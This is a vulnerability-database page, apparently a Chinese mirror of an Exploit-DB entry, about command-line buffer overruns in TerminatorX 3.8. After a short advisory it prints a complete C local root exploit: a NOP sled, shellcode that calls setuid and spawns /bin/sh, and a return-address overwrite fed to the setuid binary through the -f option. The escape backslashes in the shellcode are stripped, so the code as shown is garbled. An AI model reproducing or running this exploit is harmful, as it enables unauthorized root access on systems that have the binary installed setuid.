TerminatorX 3.8 – Multiple Command-Line and Environment Buffer Overrun Vulnerabilities (3)

TerminatorX 3.8 – Multiple Command-Line and Environment Buffer Overrun Vulnerabilities (3)

漏洞ID 1054236 漏洞类型
发布时间 2003-11-07 更新时间 2003-11-07
图片[1]-TerminatorX 3.8 – Multiple Command-Line and Environment Buffer Overrun Vulnerabilities (3)-安全小百科CVE编号 N/A
图片[2]-TerminatorX 3.8 – Multiple Command-Line and Environment Buffer Overrun Vulnerabilities (3)-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23352
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8993/info
  
It has been reported that TerminatorX may be prone to multiple vulnerabilities when handling command-line and environment variable data. As a result, an attacker may be capable of exploiting the application in a variety of ways to execute arbitrary code with elevated privileges. It should be noted that TerminatorX is not installed setuid by default, however the author recommends that users make the application setuid root.

/*******************************************************
*	     terminatorX v3.80 - local root exploit
*	          by m00 Security / Over_G
*
*	  overg[at]mail.ru		www.m00.ru
*
*		   Bugs discovered by c0wboy
********************************************************/

#include <stdio.h>
#include <stdlib.h>


char shellcode[] =      "x31xdbx89xd8xb0x17xcdx80"
      			"x31xdbx89xd8xb0x2excdx80"
      			"x31xc0x50x68x2fx2fx73x68"
      			"x68x2fx62x69x6ex89xe3x50"
      			"x53x89xe1x31xd2xb0x0bxcd"
      			"x80x31xdbx89xd8xb0x01xcdx80";

unsigned long ret = 0xbffffaaa;


int main(int argc, char ** argv)
{
int i,offset;
char buffer[1266];

  if(argv[1]) { offset=atoi(argv[1]);
  	ret = ret - offset; }

for (i=0; i < (259-strlen(shellcode));i++) buffer[i]=0x90;
memcpy((buffer+259-strlen(shellcode)),shellcode,strlen(shellcode));
memcpy((buffer+259),"A",1);
memcpy((buffer+260), (char*)&ret, 4);



printf("nterminatorX v3.80 - local root exploit by m00 Security / Over_Gn    	  www.m00.ru		OverG[at]mail.runn");
printf("Using ret: 0x%08x n",ret);

execl("/usr/local/bin/terminatorX","terminatorX","-f",buffer,NULL);

}

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